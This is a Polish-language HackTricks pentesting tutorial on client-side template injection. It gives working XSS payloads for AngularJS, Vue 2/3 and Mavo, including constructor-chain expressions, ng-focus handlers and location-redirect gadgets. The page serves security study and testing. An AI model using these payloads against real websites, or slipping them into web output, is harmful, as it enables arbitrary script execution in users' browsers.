hacktricks/pentesting-web/client-side-template-injection-csti.md

8.2 KiB

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

WhiteIntel

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzenia, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące dane.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

{% embed url="https://whiteintel.io" %}


Podsumowanie

To jest jak Wstrzyknięcie Szablonu Po Stronie Serwera, ale po stronie klienta. SSTI może pozwolić Ci na wykonanie kodu na zdalnym serwerze, a CSTI może pozwolić Ci na wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.

Testowanie tej podatności jest bardzo podobne jak w przypadku SSTI, interpreter oczekuje szablonu i go wykonuje. Na przykład, z ładunkiem jak {{ 7-7 }}, jeśli aplikacja jest podatna, zobaczysz 0, a jeśli nie, zobaczysz oryginał: {{ 7-7 }}

AngularJS

AngularJS to powszechnie używany framework JavaScript, który współdziała z HTML za pomocą atrybutów znanych jako dyrektywy, zauważalną z nich jest ng-app. Ta dyrektywa pozwala AngularJS przetwarzać zawartość HTML, umożliwiając wykonanie wyrażeń JavaScript wewnątrz podwójnych nawiasów klamrowych.

W sytuacjach, gdy dane wprowadzane przez użytkownika są dynamicznie wstawiane do treści HTML oznaczonej jako ng-app, możliwe jest wykonanie dowolnego kodu JavaScript. Można to osiągnąć, wykorzystując składnię AngularJS wewnątrz danych wejściowych. Poniżej znajdują się przykłady demonstrujące, jak można wykonać kod JavaScript:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Możesz znaleźć bardzo podstawowy przykład online tej podatności w AngularJS pod adresem http://jsfiddle.net/2zs2yv7o/ oraz na stronie Burp Suite Academy

{% hint style="danger" %} Angular 1.6 usunął piaskownicę więc od tej wersji ładunek taki jak {{constructor.constructor('alert(1)')()}} lub <input ng-focus=$event.view.alert('XSS')> powinien działać. {% endhint %}

VueJS

Możesz znaleźć podatną implementację Vue pod adresem https://vue-client-side-template-injection-example.azu.now.sh/
Działający ładunek: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

A kod źródłowy podatnego przykładu znajdziesz tutaj: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Naprawdę dobry post na temat CSTI w VUE można znaleźć pod adresem https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Kredyt: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Kredyt: Mario Heiderich

Sprawdź więcej ładunków VUE w https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Ładunek:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Więcej ładunków w https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Lista detekcji ataków Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

WhiteIntel

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez malware stealera.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z malware kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo na:

{% embed url="https://whiteintel.io" %}

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: